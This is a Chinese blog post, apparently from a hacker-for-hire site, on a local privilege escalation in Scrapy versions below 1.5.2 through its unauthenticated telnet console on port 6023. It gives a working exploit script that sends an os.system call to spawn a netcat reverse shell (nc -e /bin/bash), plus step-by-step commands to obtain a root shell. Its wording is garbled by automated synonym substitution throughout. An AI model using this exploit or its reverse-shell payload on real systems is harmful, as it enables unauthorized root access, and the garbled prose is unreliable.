*** 爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE-黑客接单平台

访客5年前黑客文章553
*** 抓取结构中运用最多的莫过所以scrapy,但是咱们是否考虑过这个结构是否存在缝隙妮?5年前曾经在scrapy中爆出过XXE缝隙,但是这次咱们发现的缝隙是一个LPE。 经过该缝隙能够获得shell,本文中露出的缝隙会产生影响scrapy低于1.5.2的版别。 0×01 环境建立 Kali体系 Scrapy(v1.5.1)[https://github.com/scrapy/scrapy/releases] 下载压缩包scrapy-1.5.1.zip,然后进行解压履行装置: Python3 setup.py install 假如装置报错,记住装置python3的pip,然后输入pip3 install Twisted 装置完Twisted模块,再次Python3 setup.py install 就能够完结装置。 0×02 缝隙剖析进程 Scrapy很简单上手,就如同在官网主页上看到的相同简单,能够快速的写一个蜘蛛爬虫。然后再运转的时分咱们能够看到会发动的扩展和一些选项信息,咱们能够清楚的看到默许它会发动telnet服务。 然后这个telnet会监听本地的6023端口。 敞开telnet的原因是便利调试,那么假如有人拜访了这个telnet是不是能够获得一些风趣的东西,并且该控制台会不会在没有任何身份验证的情况下可用然后任何本地用户都能够连接到端口并在运转蜘蛛的用户情况下履行命令,那么是不是会形成本地权限提高(LPE)。 复现LPE 这种运用需求满意两个条件: 1. 开发能够拜访体系 2. 有一个蜘蛛在运转并露出了telnet服务。以下蜘蛛契合此要求,进行初始恳求,然后因download_delay设置而空转 telnet_test.py import scrapy from scrapy.http import Request class TelnetWaitingSpider(scrapy.Spider): name = "telnet_waiting" allowed_domains = ["example.org"] start_urls = ["http://www.example.org"] download_delay = 1000 def parse(self, _): yield Request(url="http://www.example.org/") 咱们然后再写一个运用的exp: exp.py: import telnetlib rs = "nc.traditional -e /bin/bash localhost 4444" tn = telnetlib.Telnet("localhost", 6023) tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"n") Exp.py它界说了一个反向shell,连接到telnet服务并发送一行来运用Python履行反向shell os.system。 操作流程 先运用root账户调用Scrapy去运转telnet_test.py,然后经过su调用两个低权限账号,一个担任接纳nc反弹shell,一个担任履行exp.py,然后运转telnet_test的时分履行exp.py。 先运用nc -lvp 4444 监听4444端口; 运转指令:scrapy runspider telnet_test.py; 然后运转的时分 python3 exp.py; 然后获取反弹shell(发现是root)。 成功复现了一个LPE(本地权限提高)。 0×03总结 信息安全的实质是信赖问题,当咱们运用了结构就代表咱们信赖了这个结构,假如结构的安全性不对其进行检测,那么所带来的是毁灭性的成果。

相关文章

谁看了你的Instagram账户?又是谁盗取了你的暗码?

简介 移动运用程序现在现已成为最有用的进犯向量之一,这些网络罪犯最喜欢的一种办法就是盛行运用程序的乱用。自己审视下是否在装置一款需求衔接到交际运用账户凭据,电子邮件账户,云存储服务的运用时有静下来细细...

那些年咱们学过的PHP黑魔法

序 这儿有必要得说一下==和===这俩货的重要性。==是比较运算,它不会去查看条件式的表达式的类型===是恒等,它会查看查表达式的值与类型是否持平NULL,0,”0″,array()运用==和fals...

Pastebin Hacking新姿态:运用jQuery替换进行歹意软件传达

跟着各种网络技能不断发展,黑客关于网站进犯也总是不断改换战略以及通过相互之间的交流来改善进犯技能。而事实上就现在网站安全方面,面对的应战首要也正是来自于进犯技能不断的演进,使得防护也需不断晋级。在之...

使用Google进行批量SQL注入扫描-黑客接单平台

0×01:简介 在运用GoogleHack进行SQL注入点查询时,手艺的办法一般为经过谷歌语法的inurl判别是否存在动态查询参数,然后对查询的网站url进行手艺判别是否存在SQL注入缝隙,如or 1...

WAP:一款WEB安全检测工具

Web Application Protection(WAP)是用于源代码静态剖析和数据发掘的一个东西,WAP首要检测运用PHP(4.0版别及以上)编写的web应用程序,而且由于它的误报率很低而遭到...

使用“进程注入”完成无文件复生 WebShell

上周末,一个好兄弟找我说一个很重要的方针shell丢了,这个shell之前是经过一个S2代码履行的缝隙拿到的,现在缝隙还在,不过web目录悉数不可写,问我有没有办法搞个webshell持续做内网。正好...